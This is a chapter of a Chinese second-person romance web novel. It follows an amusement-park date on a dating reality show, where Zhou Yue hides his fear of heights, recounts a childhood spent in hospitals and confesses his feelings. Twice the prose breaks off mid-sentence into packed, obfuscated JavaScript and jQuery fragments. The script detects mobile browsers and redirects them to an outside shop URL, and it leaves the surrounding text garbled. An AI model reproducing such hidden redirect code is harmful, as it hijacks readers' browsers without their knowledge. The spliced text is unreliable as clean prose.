你躲在树荫下纳凉,闭上眼,微风拂过的声音让你想到了上一次的约会,那天和今天一样是个晴朗的好天气。
在逐渐逼近的木质香中,你感觉自己身后覆上一片阴影,慢慢盖住了你的头顶。
你睁开眼睛。
斑驳的树影中,一张白皙的脸倒映在你的眼中,太阳的光辉自头顶洒落,隔空的对视,仿佛回到上一次约会。
视线短促相交,周越不自然地笑了一下,然后把自己手中的礼物拎到你面前。
你仔细看过去。
是昨晚他回来的时候,手里提着的纯白色礼物袋,当时他躲躲藏藏,你还以为是送给别人的。
“昨晚就想给你,但看到你状态不好,所以想挑个别的时间。”这话听不出什么意思,很平静,不冷漠,但也听不出丝毫感情,就好像他已经完全忘记了昨晚的失态,仅仅只想解释这件事而已。
最近以来,你们之间总是隔了层什么,刚解除上一个误会,就有下一个误会来临。
你感受得到他在克制,在试探,却也在犹豫。
如果你今天的约会对象不是他,如果他没有带这份礼物,你心里的那个死结或许永远不会消散。
你欣然接过他的礼物,并问道:“我能现在打开吗?”
“当然。”周越没有卖关子,他站在你身边,看着你拆开礼物盒,然后又不由自主地去观察你的表情。
看到礼物的一瞬间,你漆黑的眸光陡然一亮。
是你常用的一款已经绝版的系列香水。
之前你和小屋里女生聊起过这个牌子,说特别惋惜当时没有买。
或许是你的反应取悦了他,周越的神情缓了缓,他清了清嗓音,问你这次约会的目的地。
你想了想,决定保密。
这个地方,你很喜欢,同样也希望他能喜欢,并希望他能在那里解放自己的天性。
节目组安排的司机接到通知后,在路边和你们汇合,一路畅通无阻地将你们送达目的地。
路上,你们有一搭没一搭地聊天,内容全是一些微不足道的小事,什么早饭吃了什么,最近睡得怎么样。
你们围在那个谁也不想触碰的事情来回绕圈子,最后绕着绕着,就把横亘在你们之间的心结丢在了原地,接着若无其事地继续向前走。
下车后,你带着周越来到检票门口,当他看到如梦如幻的城堡和五彩斑斓的气球时,整个人特别意外。
“怎么样,喜欢吗?”你期待地望着他。
周越点头:“你安排的?”
他的反应没有你想象中那样欣喜,你想了想,难道节目组向他透露过今天的约会地点?不太可能。
你转念又想,可能男生天生就对游乐园这种地方不如女生有情怀。
尽管如此,既然已经来了,最重要的是,应该好好享受这里。而且为了今天的约会,你特地买了尊享通道。
两个人单独在一起的时间只有一天,比起把时间浪费在排队上,你更想花在和他的相处上。
入园后,周越先去餐车点了餐,当他端着餐盘过来的时候,你发现只有你的那份。
你疑惑地看着他,周越解释说他现在不饿。
你哦了声,坐在太阳伞下,卷了一口意面,一边鼓着腮帮子咀嚼,一边悄悄观察着他。
你发现周越的注意力并不在这里。
他身形欣长,双腿曲起来的时候,膝盖会碰到桌沿,于是整个人陷进椅背,腿伸长,眼睛打探着那些游乐设施,时而皱眉,时而展眉,仿佛第一次来似的。
“有些地方不适合一个人去,”你撑着下巴,目光环视一圈,说道,“比如游乐场,上一次来这里还是大学的时候,后来就再也来过。最近不知道怎么回事,经常能刷到游乐园的视频,我想应该是一种缘分,所以这次约会就把地点定在了这里。”
周越嗯了一声,说道:“我没有来过,这次可以试试看。”
解决完早餐,你在手机上查好地图,带着他去坐空中飞人。
进去之前,周越表现得很淡定,你问他害怕吗,他摇了摇头。
在引导员的指引下,你们登上双人座椅,拉好安全带,坐稳后,中轴线开始缓慢地旋转。
慢慢地,你的脚离地面越来越远,直到最顶端。
从这里可以看到游乐园的全貌,绿绿葱葱,在飞翔的过程中,你感到无比自由和轻快,你转头望着周越。
他闭着双眼,手紧紧扶着把手。
“怎么了?”
周越睁开眼,对上你的眼睛,面色一松:“没事,我在感受高空的空气是不是和地面的不太一样。”
你笑了笑,像他一样闭上眼,深深吸了一口气,鼻尖传来却是他身上若隐若无的皂香味,像吹过侧脸的春风。
两次约会,如果你选了他,而他也选了你,这算不算是一种冥冥注定的命运。
两分钟后,座椅在不知不觉中开始缓慢下降,
周越的手也松开了扶手。
落地的一刹那,他解开安全带,你跟着他站起来。
“好玩吗?”你期待地问道。
周越望着远处的绿野,好像没听到似的,沉浸在自己的世界里。
看来是他太沉迷了,你又问了一遍,他才慢慢回过味来,极轻地点了一下头:“还不错,是一种很新鲜的体验。”
你笑了:“嗯,看得出来,刚才你都魂不守舍了。”
周越斜挑了一下眉毛:“是么。”
旁边路过一辆游动餐车,制冷机的风吹过,夏日的燥热像被冰镇了起来。
你走了过去:“天这么热,要不要吃冰激凌?”
周越还来不及阻止,你已经拦下餐车,并付了钱。
蛋卷甜筒上挂了两个双色冰激淋球,你把草莓味的冰激凌递给他,你记得他喜欢吃甜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401419|199977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的。
今天气温很高,甜筒化得太快,很快融成糖水淌了下来。
你和周越躲在树荫下狼吞虎咽,引得周围路过的人纷纷向你们投以注目礼。
连平时周越那么在意别人目光的人,此刻也毫无形象可言。
你也一样,几乎可以肯定到自己嘴边留下了一圈“白胡子”。
于是你们两个看着彼此狼狈的吃相,莫名不顾形象地笑起来。
这是你来小屋之后,第一次拥有不用顾忌他人心情的松弛感。
过去一段时间,无论是和潭西洲的拉扯,还是韩以泽对你的直进,那些让你总是小心翼翼。
或许你和周越有也过对彼此的试探和怀疑,但此时此刻的松弛,是真实存在的。
等你们愉快地解决完冰激凌,刚好停在一条路的分岔口。
你擦了擦手,指着面前的太空飞船,问道:“你想玩这个吗?”
眼睛一转,你又指了指另一边的过山车,跃跃欲试:“还是那个?”
周越的眉眼带着促狭:“或许,这个问题由我来问你比较合适?”
你不好意思地摸了摸鼻尖,虽然名义上是两个人的约会,但目前为止,周越已经变成你的游乐园搭子,一直在陪你玩。
好在周越不在意这些,他继续道:“你想都试一遍吗?”
被戳穿心思的你点点头,心情转阴为情。
……
当你们坐在太空飞船的尾端,向下滑的时候,耳边传来游客的阵阵惊叫,你感觉自己的整个身体仿佛快要掉出地球了。
除了享受这种单纯的失重感外,身体的本能让你下意识地抓住周越的手臂。
然而他的体温很凉,像一块冰,比昨天你抓他手的温度更低。
也就是这一刻,你终于察觉到不对劲,回过头去。
他依旧闭着眼,眉头微皱,神色隐忍。
“周越?”你双手抓紧他的手臂,脑海中猜到了什么,“你不舒服吗?”
听到你的声音,周越睁开眼,看到你担心的眼神,他轻轻地拍了拍你的手,平静地说:“没关系。”
可你分明从他的眼神中看出了不适和忍耐。
而在此时,摇摆的飞船终于从空中回到大地。
机器静止的那一刻,你马不停蹄地推开压在你们身上的横杆,拉着他离开座位。
将周越安顿在一片树荫下的秋千上后,你急忙跑去附近餐厅,问工作人员要了一杯热水,端着滚烫的纸杯,你匆匆回到原地。
然而,周越却不见了。
那一瞬间,自责的情绪后知后觉地涌上来。
你自作主张地定了这种约会地点,没有过问他的意见,也没考虑他会不会不喜欢,而且明明刚玩第一个项目的时候,他其实已经不舒服了,他连早餐都没有吃,可能就是因为怕吐,但你什么都没有发现,还玩得那么开心。
你捧着水杯在周围找了个遍,却依旧没有他的身影。
你回到原地,坐在椅子上,出神地看着杯子里冒出的热气逐渐消失。
15. 第十五章
过了一会儿,他还没回来,你打算去其他地方找找看。
就在这时,人群中爆发出一阵阵此起彼伏的惊呼。
一束巨大的彩色气球十分引人注目,但被拍照的人围得水泄不通。
你走过去,只见一道身影从人群里挣扎出来,额头的发丝微微被水珠打湿,他走到你面前,把手里抓着的彩色气球递给你。
这束气球是游乐园新推出的限定彩蛋,园内NPC随机出现,根据心情决定是否出售。
你之前在网上看到过照片,收藏了很久,原本以为今天没有的。
周越收回手,解释道:“刚才在这里等你,看到一个玩偶抓着气球,我想或许你会喜欢,就追上他,买了下来。”
他的脸色依旧苍白,说这些话的时候还在微微喘气。
你低下头,轻轻接过,说你很喜欢,又将手里的纸杯递给他:“水还是温的。”
周越仰头喝下,脸色好了不少:“没等着急吧?我刚才看你起身,以为你准备走了。”
你的呼吸滞了一下,低头道:“没有,我还以为你身体不舒服,已经先走了。”
空气突然安静下来。
刚才中断的事情被重新提及,周越坦白说道:“抱歉,刚才吓到你了。”
你摇摇头:“对不起,我不知道你今天不舒服,你现在好点了吗?”
他嗯了一声,看着你的目光很柔和,似乎有些享受现在被你关心的滋味。
一时说不出是什么感觉,当心里的负担放下之后,你清楚地感觉到自己的心在颤抖:“为什么没有告诉我?”
周越目光立刻又变得很认真,他的喉结上下一滑:“听PD说你纠结了很久,才决定把约会地点改成这里,我不想破坏你的兴致…….”
你忍不住问道:“所以你有些恐高,对吗?”
周越移开眼,垂眸看着水面晃动的倒影:“只是有点头晕。”
明显在逞强。
在你执拗的眼神中,他终于松口:“好吧,我承认,是有一点点。”
……
你突然发现周越似乎不喜欢让自己的软肋轻易被拿捏,除非有人对他刨根问底,至于他回不回答,全凭他乐不乐意。
你指着他的手:“你的手很冷。”
“有吗?”周越握住双手,感受手心里传来的温度,“还好吧。”
你将纸杯靠在他的手背上:“你看,杯子里的水温都比你的手热。”
“可能是习惯了吧。”他言简意赅,这让你觉得像被闷在罐子里。
你追问道:“其实我很好奇你为什么选择当医生?”
时光游走在红灿灿的晚霞中,无端掀起的微风吹乱了周越的发丝,他的语气带着几分坦然:“从小到大,感觉自己这辈子就应该当医生。”
“从小到大?”你抓住关键词。
周越的眼神一顿,对于你抓重点的能力,他显然有些意外。
猜出你想问什么之后,周越后脑勺抵着椅背,沉默几秒后,他说小时候身体很不好,经常去医院看病。
“看不出来吧?”他的语调很平稳,像是在讲故事。
轻飘飘的一句话,却重重地砸在了你心上,如果不是被你阴差阳错地发现,他绝对会对这件事情守口如瓶。
“这是我第一次来游乐园,因为童年几乎一直在医院度过。”周越的目光飘向很远。
你企图从他的眼睛里找到创痛,但他微曲着脊背,眼神无比清明。
“然后呢?”
大概是他许久没有和人说起过去的事,回忆起来的时候,感觉像在说别人的故事:“小时候我在学校的时间很少,作业一般在医院完成,结交的朋友也来源于同病房的小孩。有一次发烧,醒来之后,爸妈憔悴了许多,他们告诉我已经在ICU昏迷了一个多月,但我只记得醒过来的前一秒,好像自己从树上重重地掉了下来。”
时间席卷着说不出的怅然翻涌上来,你感觉每一秒都被无限拉长。
你望向他,黄昏的微光落在他背后,寥寥无几的游客从你们面前路过,他的肩骨浮沉,显得越发单薄和孤独。
你突然想到自己的童年,那段日子是人生中为数不多无忧无虑的日子,很难想象他是怎么度过的:“那你一定很向往外面的世界吧。”
“嗯,小时候想去很远的地方,想和同龄人玩,但一直没有机会,时间久了,甚至以为这辈子就活在医院里了。后来家人总担心我活不久,就带我去寺庙祈福。”
黄昏下,周越坐在白色长椅上,‘活不久’这三个字从他口中说出来,让你的心一紧。
“可能人在走投无路的时候,就会开始相信玄学吧。”为了逗你开心,他居然还开了句玩笑。
“我记得,寺庙在很高很高的山上,从医院到家,再从家到寺庙,从春天到冬天,从山底到山顶,那就是我能看到的所有的外面的世界了。”
好像做完了一道连线题,你后知后觉道:“所以我们上次约会去的,就是你说的这个寺庙?”
当时你只是觉得奇怪,却没问过他为什么,为什么去寺庙。
周越轻轻发出一声嗯。
所以第一次约会的时候,他早已带你走进了他难以诉说的过去。
当你现在才意识到这点的时候,一时间竟有些难过。
人总是更容易被后知后觉的情感触动,这远远比预知来得更强烈更难忘。
就像摘同一朵蔷薇花,摘之前就知道有刺,和摘了之后才发现有刺,感受到的疼痛是不一样的。
你想起每次去体检,医院的那种氛围,总是会让你害怕和不舒服。
这让你更加难以想象在年少的漫长岁月中,周越究竟是怎样捱过痛苦和孤独的。
感受到你的沉默,周越安慰道:“没关系,已经是过去的事了,你不要伤心。”
“我不明白。”你摇摇头。
周越像把你笼进了目光里:“怎么?”
“我不明白,小时候被病痛折磨过,应该不喜欢医院才对,为什么还要选择当医生,难道不会想起过去的疼痛吗?”
周越认真想了想,答道:“和大多数人一样,小时候我最害怕见到的就是医生,有时也很排斥医院,为了让我乖乖待在医院,医生总会拿甜品哄我。我在想,如果以后当了医生,我一定要做个让小孩看了不会害怕的医生。”
他声音很轻,像不经意间唇瓣相碰发出的声响。
难怪他喜欢吃甜品。生命太脆弱,以至于随时都有可能离去,可有时候也很顽强,仿佛没那么容易倒下。
这一次,你没有稀里糊涂地一笑而过,决定心根问底:“只是想成为自己所期待的医生?仅此而已吗?”
这个理由也太梦幻了。
周越有些吃惊,似乎没意料到你会问得这么现实。
他垂眸看着手指上被手术刀磨出来的薄茧,再抬起头来的时候,语气也变得郑重起来:“我曾经在网络上看到有人赋予自己职业的意义,下面的评论总有人嗤之以鼻。或许我的回答,你可能会产生怀疑或者觉得虚伪,但我觉得,因为自己淋过雨,所以想给别人撑把伞,我是真的这么想。”
这话听得你一怔,为什么当他说出成为医生是因为梦想,而你却觉得还有现实的因素呢,你是从什么时候开始不再相信梦想了呢。
曾经你也有过梦想,觉得自己的工作其实是一件很伟大的事情,但不知道是不是因为社会的残酷让你逐渐丢失了初心。
你渐渐开始觉得工作只是一份工作,劳动换取报酬,至于那些丰满的向往,再想起只会嘲笑当时的自己太年轻太理想化。
但你清楚,你并不会因为周越的这番话,而试图给自己的工作附加价值。因为你试过,但都失败了。
你只是很敬佩他,很欣赏他。
而现在,你终于知道,为什么初见周越时,他浑身散发着一种疏离,以及难以接近的客套。
一个人从小就看见过生死,徘徊在生命的尽头像呼吸一样简单,他早已经习惯了和世界保持着一份边缘感。尽管如此,他依旧选择与苦难和解,在渡己的路上还能拉别人一把。
太阳落山,天际渐渐暗了下去,伴随着游客们的欢呼,游乐园的灯光在一瞬间全部亮了。
真是不平凡的一天,你心中这样想着。
在你还沉浸在自己的世界中时,周越碰了碰你的手肘,偷偷递给你一个甜筒。
你看着手里的甜筒,又惊又喜:“哪来的?”
他刚才一直都坐在你旁边,没挪过地。
周越抬了抬眉,有些神秘道:“游乐园这地方,总得允许有些魔法的存在吧?”
然后他指了指不远处的旋转木马,起身道:“你想玩那个吗?”
旋转木马的灯光璀璨得如梦如幻,是很多女孩子打卡拍照的圣地,你也有些心动,但还是担心他的身体。
周越望着天空长叹一口气:“在你眼里,我已经是个连旋转木马都坐不了的病号了吗。”
“诶,我是为了你好诶,”你觉得他有些不识好歹,“真没良心。”
周越愣了一下,接着笑了。
你气鼓鼓地看着他。
他侧过身,凑近你仔细盯了片刻:“你知不知道,你怼人的时候,有点可爱。”
这是重点吗!你翻了翻眼皮,嘴角却不由得微微上扬。
这确实是你第一次对他开玩笑,之前没好意思是因为觉得他自带距离感,担心自己冷场,现在嘛,他看起来也没那么远了。
“原来是这种感觉。”周越甚至又回味了一遍。
“喂!”你有些炸毛。
“你很少和我开玩笑,以前看见过你怼韩以泽,感觉你和他都很松弛,”周越眸光微闪,“所以刚才,确实让我感同身受了一次。”
提起韩以泽,你实话实说:“因为他有时候真的很……”
说到一半,你收住口,随即欲盖弥彰般地冒出一句话:“你们又不是一类人。”
周越支着下巴。
直觉告诉你不能再聊了,你飘忽着眼神,催促周越去坐旋转木马。
……
厚重的云层露出一半的月亮,余下的光辉不足以照亮这片大地,于是有了灯,有了光芒。
旋转木马的灯光无比绚烂,你握住
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408158|199977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
木杆,木马随着音乐的节奏一上一下,像乘在海浪之上,这幅场景应该梦里出现。
恍如梦境的氛围下,心里的大人卸下层层伪装,忽然变得柔软起来。
你转回头向着周越,谈起过去:“你知道吗,小时候我总以为在旋转木马上许的愿望一定会实现,所以一直很想来游乐园玩。但当时家里拮据,没有机会。等到长大了,自己赚了钱,却早已没了当初的那份童心。”
周越说他小时候也是,过生日的时候要许愿,流星划过的时候要许愿,甚至连每晚睡觉前都要许愿,接着他煞有其事地看着你:“你现在就可以闭上眼许愿。”
你笑:“我都多大了,还信这套。”
周越挺拔的身姿坐在狭窄的旋转木马上,有种说不出的岁月静好:“就当是你现在实现了小时候的愿望,再许一个未来的愿望。”
听起来像在哄你,或许和此时的场景有关,莫名其妙的,你被他说动了,犹豫了一两秒,你闭上眼,虔诚地许了一个愿望:“我希望我们都能得偿所愿。”
周越:“…….”
你猜到他要说什么,在他开口之前,你忙说:“我不信那些愿望说出来就不灵了的传闻,有些愿望就是要说出来,不说出来永远没有人懂。”
周越则陷入了沉默,目光若有似无地在你的脸上打着圈。
你有些纳闷:“怎么了?我说得不对吗?”
话毕,悠扬的歌声戛然而止,旋转木马停了下来,几个工作人员跑进来,满脸歉意,说机器出了故障,无法继续使用。
果真是不平凡的一天,连结束都结束得这么离谱。
你和周越被迫离开。
回去的路上,走了一段距离,即将离开园区时,周越突然问你:“你希望我是那个懂你愿望的人吗?”
“啊?”
见你没听懂,周越换了种问法:“我对你来说,是特别的吗?”
你一顿:“什么?”
这一次,周越似乎确认你听到了,于是没有重复。
“这是我们住进小屋的第二周,也是认识的第十五天,”周越停下脚步,照顾到你的身高,他略微低下了头,树荫隐隐绰绰,刚好遮住了他的眉眼,“或许在你看来,现在还没有办法把某个人看做特别的存在。”
你的目光停留在他衣领处露出来的锁骨,有些心猿意马,隐隐猜到他要说什么,不由得禀住了呼吸。
“有时候,我总觉得这不公平,”周越的神色变得痛苦和纠结,“我可以确保我的心,但猜不透你的心,你总能周旋在不同人当中。”
“我没有…….”你下意识地否决道。
周越仿佛没有听到。
“从什么时候说起好呢,有时候我觉得我们之间的关系已经更进一步时,下一秒,你就走向别人,或者把我推向别人,这让我希望见到你,又害怕见到你。”
黑夜中,他站在路灯下,说出的话让你有些头晕目眩:“但我想和你说,不管你怎么想怎么做,我不是对所有人都一视同仁的,你能明白吗?”
他的眼睛乍一看好像很平静,没什么情绪,可仔细一看,里面好像含着万千思绪。
你愣愣地点点头。
路灯下,周越的表情若隐若现,嗓音隐忍着某种情绪:“一直没机会和你说,我知道那份三明治是你做的。”
你在脑海里回忆了一下他说的三明治是什么,反应过来是赵念念秘密约会那次,你教她做的三明治。
你半信半疑:“你…….怎么知道?”
赵念念应该不会把这种事告诉他。
周越淡笑一声:“除了你,谁会把煎蛋做成方形的。”
你顿时哑了声。
周越很受用地瞥了眼你的表情,然后转身,边走边说:“其实,我一直记得那天晚上,你说过喜欢拍立得,但后来……故事的发生完全超出了我的掌控……”
你知道新嘉宾来的第二天,赵念念就约了周越出去,她的拍立得大概也是那天摔坏的,但实际上,你并不清楚知道其中到底发生了什么。
周越继续道:“虽然重要的从来不是礼物,但我的确不想送给你和别人一样的东西。可那天,出了店之后,我还是折回去买了另一台拍立得,想回小屋后给你,结果那天刚好你也被约出去了……等你回来,我去敲门,你不在。再之后,林林总总的事情发生,依旧没有送出去,或许这就是天意。”
那些一直无法拼凑完整的真相逐渐清晰起来。
“不过,我从来不相信天意,”周越仰起头,喉结滑动,坚定道,“路还没有走到尽头,谁都不知道结局。”
昏黄的路灯洒下,将你们包围在一圈暖黄色的光芒里。
你问自己,周越和小屋里别人的故事,难道自己真的可以做到不好奇不在意吗?
不介意是假的,你好奇,好奇的不得了,正如他同样好奇你和别人的故事一样。
但这重要吗?
重要,但也没那么重要。因为没有人比你更清楚,现在你自己的心跳得有多快。
-
PD提示:小屋生活已过半,请及时确定自己的心意哦。